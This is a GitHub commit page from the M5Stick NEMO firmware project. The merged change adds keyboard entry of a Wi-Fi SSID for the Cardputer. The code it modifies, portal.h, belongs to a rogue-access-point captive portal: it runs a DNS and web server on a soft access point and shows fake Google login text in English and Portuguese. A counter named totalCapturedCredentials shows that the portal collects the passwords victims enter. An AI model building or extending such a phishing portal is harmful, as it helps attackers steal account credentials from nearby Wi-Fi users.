Skip to content
This repository has been archived by the owner on Aug 22, 2024. It is now read-only.

Commit

Permalink
Merge pull request #69 from gustavocelani/develop
Browse files Browse the repository at this point in the history
NEMO Portal - Type SSID Using Cardputer Keyboard
  • Loading branch information
n0xa authored Jan 26, 2024
2 parents daa851c + 2256f54 commit 750ad03
Show file tree
Hide file tree
Showing 2 changed files with 59 additions and 9 deletions.
4 changes: 2 additions & 2 deletions m5stick-nemo.ino
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,10 @@
// github.com/n0xa | IG: @4x0nn

// -=-=-=-=-=-=- Uncomment the platform you're building for -=-=-=-=-=-=-
#define STICK_C_PLUS
//#define STICK_C_PLUS
//#define STICK_C_PLUS2
//#define STICK_C
//#define CARDPUTER
#define CARDPUTER
// -=-=- Uncommenting more than one at a time will result in errors -=-=-

String buildver="2.3.5";
Expand Down
64 changes: 57 additions & 7 deletions portal.h
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
#define LOGIN_MESSAGE "Please log in to browse securely."
#define LOGIN_BUTTON "Next"
#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
#define TYPE_SSID_TEXT "Lenght between 2 and 32\nInvalid: ?,$,\",[,\\,],+\n\nType the SSID\nPress Enter to Confirm\n\n"
#elif defined(LANGUAGE_PT_BR)
#define LOGIN_TITLE "Fazer login"
#define LOGIN_SUBTITLE "Use sua Conta do Google"
Expand All @@ -26,6 +27,7 @@
#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
#define LOGIN_BUTTON "Avançar"
#define LOGIN_AFTER_MESSAGE "Fazendo login..."
#define TYPE_SSID_TEXT "Tamanho entre 2 e 32\nInvalidos: ?,$,\",[,\\,],+\n\nDigite o SSID\nEnter para Confirmar\n\n"
#endif

int totalCapturedCredentials = 0;
Expand All @@ -40,13 +42,6 @@ unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer;
WebServer webServer(80);

void setupWiFi() {
Serial.println("Initializing WiFi");
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(apSsidName);
}

void setSSID(String ssid){
#if defined USE_EEPROM
Serial.printf("Writing %d bytes of SSID to EEPROM\n", ssid.length());
Expand All @@ -62,6 +57,61 @@ void setSSID(String ssid){
return;
}

void confirmOrTypeSSID(){
DISP.fillScreen(BLACK);
DISP.setSwapBytes(true);
DISP.setTextSize(MEDIUM_TEXT);
DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.setCursor(0, 0);
DISP.println("WiFi SSID");
DISP.setTextSize(TINY_TEXT);
DISP.setTextColor(FGCOLOR, BGCOLOR);
DISP.println(TYPE_SSID_TEXT);
DISP.setTextSize(SMALL_TEXT);
uint8_t ssidTextCursorY = DISP.getCursorY();
String currentSSID = String(apSsidName.c_str());
DISP.printf("%s", currentSSID.c_str());
bool ssid_ok = false;

while(!ssid_ok){
M5Cardputer.update();
if(M5Cardputer.Keyboard.isChange() && M5Cardputer.Keyboard.isPressed()) {
Keyboard_Class::KeysState status = M5Cardputer.Keyboard.keysState();
if(status.del) {
currentSSID.remove(currentSSID.length() - 1);
}
if(status.enter) {
ssid_ok = true;
}
if(currentSSID.length() >= 32) {
continue;
}
for(auto i : status.word) {
if(i != '?' && i != '$' && i != '\"' && i != '[' && i != '\\' && i != ']' && i != '+'){
currentSSID += i;
}
}
DISP.fillRect(0, ssidTextCursorY, DISP.width(), DISP.width()- ssidTextCursorY, BLACK);
DISP.setCursor(0, ssidTextCursorY);
DISP.printf("%s", currentSSID.c_str());
}
}

if(currentSSID != apSsidName && currentSSID.length() > 2){
setSSID(currentSSID);
}
}

void setupWiFi() {
Serial.println("Initializing WiFi");
#if defined(CARDPUTER)
confirmOrTypeSSID();
#endif // Cardputer
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(apSsidName);
}

void getSSID(){
String ssid="";
#if defined USE_EEPROM
Expand Down

0 comments on commit 750ad03

Please sign in to comment.